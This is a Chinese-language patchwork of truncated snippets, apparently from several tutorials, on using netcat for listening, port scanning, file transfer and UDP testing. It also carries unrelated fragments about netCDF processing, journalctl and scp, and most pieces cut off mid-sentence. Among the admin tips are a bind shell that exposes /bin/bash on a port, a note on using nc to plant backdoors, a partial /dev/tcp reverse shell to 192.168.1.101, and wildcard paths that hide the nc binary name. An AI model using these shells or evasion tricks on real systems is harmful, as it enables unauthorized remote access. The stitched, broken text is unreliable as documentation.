我们通过 ll 命令查看nc 命令: ➜ benchmarks ll /usr/bin/nc lrwxrwxrwx. 1 root root 4 Feb 19 19:09 /usr/bin/nc ->...ncat nc 命令 是 ncat 的软链接。...常用: 侦听任意端口,以TCP/UDP 方式 端口扫描 传输文件 测速 常用命令: 1) -l 用于指定nc将处于侦听模式。...指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。...2) -p 限制数据发送原端口 3) -s 指定发送数据的源IP地址,适用于多网卡机 4) -u 指定nc使用UDP协议,默认为TCP 5) -v 输出交互或出错信息,新手调试时尤为有用
NetCat,在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本。...通常的Linux发行版中都带有NetCat(简称nc),但不同的版本,其参数的使用略有差异。...-l 使用监听模式,管控传入的资料。 -n 直接使用IP地址,而不通过域名服务器。 -o 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。...-p 设置本地主机使用的通信端口。 -r 乱数指定本地与远端主机的通信端口。 -s 设置本地主机送出数据包的IP地址。 -u 使用UDP传输协议。 -v 显示指令执行过程。...-z 使用0输入/输出模式,只在扫描通信端口时使用。 远程拷贝文件 从server1拷贝文件到server2上。需要先在server2上,用nc激活监听。
-k:强制nc在其当前连接完成后继续侦听另一个连接。-k 必须与 -l 一起使用。 -l:用于指定nc将处于侦听模式,即作为server侦听指定端口。...-p:指定本机应该使用的源端口。 -s:指定发送数据的源IP地址,适用于多网卡机。 -u:指定nc使用UDP协议,默认为TCP。 -v:输出交互或出错信息,新手调试时尤为有用。...打开一个到 10.0.10.9 52端口的TCP连接,使用10.1.2.3作为连接本地端的IP地址: nc -s 10.1.2.3 10.0.10.9 52 4....扫描指定范围的端口(扫TCP端口的速度很慢): nc -zv 192.168.1.123 20-1024 nc -uzv 192.168.1.123 20-1024 PS: nc和ncat命令在Linux...最后,需要注意的是,在某些Linux发行版中,nc已经被替换为了ncat,因此在使用nc命令时需要注意查看命令的具体帮助信息。 参考文档: https://manpages.org/nc
NC ncat的使用教程 ---- 安装ncat yum install nmap-ncat -y //centos sudo apt-get -y install netcat-traditional...//ubuntu ---- 监听入站连接 服务器端开启入站监听 nc -l 8080 客户端连接服务端 nc ip 8080 连接上后可以互相通讯类似这样 image.png 利用NC扫描端口...利用nc扫描目标 1-100内的端口情况 nc -z -v -n -w 2 ip 1-100 image.png 利用nc发送文件 发送端执行 nc -v -l 8080 < out.txt //...-l 8080 客户端执行 nc -n IP 8080 | tar -xvPf - image.png 利用nc正向shell连接 目标机执行 nc -lvvp 8080 -e /bin/bash...控制端执行 nc -lvvp 8080
linux centos7 测试端口的连通性, 分别测试TCP端口与UDP端口; 1、这个需要Linux服务器里边支持nc命令,检查NC 是否安装?...nc 图片.png 2、安装nc yum install nc -y 3、探测端口 nc -u -z -w 1 IP地址 端口 错误信息如下: 图片.png nc -w 1 IP地址 端口 <...但CentOS7新版的nc命令已取消了-z, 需输入重定向 < /dev/null 才能成功; 图片.png 5、探测 udp: 通过 nc -h 可以看出,只需要加个 -u 即可。...nc -u -w 1 IP地址 端口 < /dev/null && echo "udp port ok" 图片.png
-u 使用UDP传输协议。 -v 显示指令执行过程。 -w 设置等待连线的时间。 -z 使用0输入/输出模式,只在扫描通信端口时使用。...所以,需要使用安装光盘引导后,进入拯救模式(或使用Knoppix工具光盘)启动系统后,在server2上进行类似的监听动作: # nc -l -p 1234 | dd of=/dev/sda server1...作者:Hobbit && Chris Wysopal 网址:http://www.atstake.com/research/tools/network_utilities/ 类别:开放源码 平台:Linux...-L -p 80 讲解:使用-L(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止. 8) 作蜜罐用[2],例子: 格式:nc -L -p 80 > c:log.txt 讲解:使用...unix,linux attacker machine: // 攻击者的机器.
用于设置路由器,是网络工具中的瑞士军刀 nc命令 全称netcat,用于设置路由器。它能通过 TCP 和 UDP 在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。...-z 使用0输入/输出模式,只在扫描通信端口时使用。...建立 C/S 聊天室 nc 的本质是在两台机器之间建立连接,之后就可以基于这个连接做很多事情,数据传输是其中一个最为基本的。我们下面就使用 nc 来建立一个 C/S 的聊天室。...支持 UDP 和 IPv6 连接 nc 默认使用 TCP 和 IPv4 协议建立连接,我们可以使用参数 -u 和 -6 参数来分别使用建立 UDP 和 IPv6 连接。.../linux-nc.html
-l 使用监听模式,管控传入的资料。 -n 直接使用IP地址,而不通过域名服务器。 -o 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。...-p 设置本地主机使用的通信端口。 -r 指定本地与远端主机的通信端口。 -s 设置本地主机送出数据包的IP地址。 -u 使用UDP传输协议。 -v 显示指令执行过程。...-z 使用0输入/输出模式,只在扫描通信端口时使用。...; (4)机器之间网络测速 我们今天主要说下,使用nc进行文件传输。...传输目录 第一步: 本地服务启动监听, 经过测试管道后面最后必须是 - ,不能是其余自定义的文件名nc -l 5555 | tar xfvz - 第二步: 把当前目录的所有文件打包为 - ,然后使用管道通过
用于设置路由器,是网络工具中的瑞士军刀 nc命令 全称netcat,用于设置路由器。它能通过 TCP 和 UDP 在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。...-z 使用0输入/输出模式,只在扫描通信端口时使用。...建立 C/S 聊天室 nc 的本质是在两台机器之间建立连接,之后就可以基于这个连接做很多事情,数据传输是其中一个最为基本的。我们下面就使用 nc 来建立一个 C/S 的聊天室。...支持 UDP 和 IPv6 连接 nc 默认使用 TCP 和 IPv4 协议建立连接,我们可以使用参数 -u 和 -6 参数来分别使用建立 UDP 和 IPv6 连接。.../linux-nc.html 微信公众号:入门小站
注意如果不使用 -l 选项,则使用此选项是错误的 -l 指定 nc 应该侦听传入的连接,而不是启动到远程主机的连接。将此选项与 -p、-s 或 -z 选项结合使用是错误的。...这使得使用 nc 编写 telnet 会话脚本成为可能 -U 指定使用 Unix 域套接字 -u 使用 UDP 代替默认选项 TCP -v 显示命令执行过程 -z 表示 zero,只扫描侦听守护进程...0.0.0.0:8888 开启另外一个命令行终端 B,同样使用 nc 发起连接。...(3)利用 nc 之间的连接进行文件传输。 使用 nc 传输文件还是比较方便的,因为不用 scp 和 rsync 那种输入密码的操作了。...---- 参考文献 [1] nc(1) manual [2] 博客园.nc命令用法举例 [3] 博客园.nc 命令使用详解
的监听 客户端测试,测试方法1 nc -vuz 10.0.1.161 9998 由于udp的端口无法在客户端使用telnet去测试,我们可以使用nc命令去扫描(前面提到nc还可以用来扫描端口) (telnet...启动的udp端口,每次探测nc作为server端启动的udp端口时,会导致对方退出侦听,有这个bug,对于一些程序启动的udp端口在使用nc扫描时不会有此bug) 下面,A机器启动一个udp的端口监听,...端口为9998 在复制的窗口上可以确认已经在监听了 B机器使用nmap命令去扫描此udp端口,在扫描过程中,导致A机器的nc退出监听。...(不能确定对方是否有监听9998端口) 既然上面测试无法使用nmap扫描nc作为服务端启动的端口,我们可以使用nmap扫描其余的端口 (额,有点跑题了,讲nmap的用法了,没关系,主要为了说明nmap...1-1000 nc用法2,使用nc传输文件和目录 方法1,传输文件演示(先启动接收命令) 使用nc传输文件还是比较方便的,因为不用scp和rsync那种输入密码的操作了 把A机器上的一个rpm文件发送到
---- 关于nc之前文章就已经讲过了,不过我发现不同 linux 的nc不太一样 ?...HTTP CONNECT代理 -p source_port 指定nc使用的源端口 -q seconds 在标准输入遇到 EOF 之后,等待指定的秒数之后再退出,如果参数是负数,永久等待 -t 使用和...-w timeout 为无法建立或者闲置的连接设置一个超时时间 -X proxy_protocol 要求nc使用指定协议连接至代理服务器 4 --> socks 4 5 --> socks 5 connect...--> https proxy -x proxy_address[:port] 要求 nc 使用指定代理地址和端口连接到目标,如果不指定端口,那么将使用代理协议的默认端口 socks 1080 / https...使用 ` 和 * 来进行组合,能组合出很多方案,大家自己尝试一下吧!
这次趁机梳理一下 之前在SSH穿越代理时就用到了nc (ssh&git如何穿越代理) 介绍 shell脚本中经常使用管道来把多个命令串联起来,比如下面: $ cat /var/log/messages...options host-IP-address port 常用场景 连接到远程服务器端口 使用命令nc 192.168.1.101 80,获取服务器信息,也可以使用GET获取整个页面内容 $ nc 192.168.58.101...使用netstat查看网络连接,可以看到8000端口已经被监听。...40585/nc 开启后门 nc 命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。.../wiki/Netcat 10 个例子教你学会 ncat (nc) 命令 NetCat使用指南 netcat的正确打开方式 How to Use Netcat, the Swiss Army Knife
,于是经过不太充分的研究后总结成此文,以记录如何使用 python 处理 nc 数据。...可以使用 gdal 查看数据信息,执行: gdalinfo name.nc 即可得到如下信息: Driver: netCDF/Network Common Data Format Files: test.nc...所以看到这里,各位应该已经明白了,可以直接使用 GDAL 处理 nc 数据,比如直接使用 gdalwarp 将某个 SUBDATASET 转成 GeoTiff 等等,此处暂且不表,各位只需要查阅一下 gdalwarp...当然第一种方式就是使用 netCDF4 处理完之后,使用此框架写入 GeoTiff,但是这样不太优雅,而且使用了两个框架,明显过于麻烦,我们直接使用此框架从读数据开始处理。...三、总结 本文简单介绍了 nc 数据的特点及如何使用 python 处理 nc 数据。
2.使用方法 $ man journalctl $ journalctl –help 常用方法 $ journalctl 不带任何选项时,默认输出所有的日志记录 $ journalctl -n [
服务器端口测试是否正常,运维一般使用telnet来检查,但它有局限性,服务器的端口必须存在服务运行。 这时使用nc可以在服务端模拟开启一个端口,再通过nc测试此端口,好用!...centos上面安装也很简单: yum install nc -y nc常用功能 1、实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口 2、端口的扫描,...客户端测试方法:(telnet只能测试tcp协议) nc -vuz 192.168.10.11 80 (u表示udp端口,v表示可视化输出,z表示扫描时不发送数据) 使用nc传输文件 使用...步骤2,在A机器上往B机器的888端口发送数据,把下面sql包发送过去 nc 192.168.10.11 888 < zabbix.sql 也可通过nc传输目录,但这里不推荐使用,暂不举例。...网络测试 这里也不推荐使用nc,直接使用speedtest,简单: wget -O speedtest-cli https://raw.githubusercontent.com/sivel/speedtest-cli
本页目录 安装nmap centOS安装 debian安装 namp使用 扫描全部端口 nc命令 安装nc – ncat命令 nc命令详解 nmap、ncat/nc既是一个端口扫描工具,也是一款安全工具...,还能是一款监测工具 安装nmap centOS安装 yum install -y nmap debian安装 pkg install nmap -y namp使用 [root@VM-4-12-centos...命令 安装nc – ncat命令 yum -y nc 或者 yum install nmap-ncat -y nc命令详解 [root@VM-4-12-centos ~]# nc --help Ncat...-4 仅仅使用IPv4 -6 仅仅使用IPv6 -U, --unixsock...--sctp Use SCTP instead of default TCP -v, --verbose 设置详细级别(可多次使用
scp 的作用真的很巨大,详细用法,可以man scp 或者 scp –help ,下面为附上一篇 scp 使用详解。。。...linux 的 scp 命令 可以 在 linux 之间复制 文件 和 目录; ================== scp 命令 ================== scp 可以在 2个 linux
今天在查找资料的时候在一篇文章中发现了 dash 和 nc.openbsd 这两个命令,dash、rbash、nc.openbsd 和 nc.traditional 这几个命令平时都很少遇到,所以一直也就不知道他们的存在...很多系统还会自带 zsh ,Ubuntu 16.04 中并不包含 zsh Ubuntu 16.04 默认带 dash 和 rbash,使用方法和bash一样 dash -i >& /dev/tcp/192.168.1.101...0x02 nc.openbsd nc 有几个版本,一般系统会自带: nc nc.openbsd / nc.traditional Ubuntu 16.04 自带 nc.openbsd 但是不自带 nc.traditional...nc.openbsd 和 nc 使用方法一样,如下: ? 那么 nc 和 nc.openbsd 在哪个目录呢? ?.../bin/nc /bin/nc.openbsd 这回如果你想用之前我说的 ` + * 方案,就知道怎么构造了 /b*n/*.open*sd /b*n/*.*pen*sd /*in/*.
领取专属 10元无门槛券
手把手带您无忧上云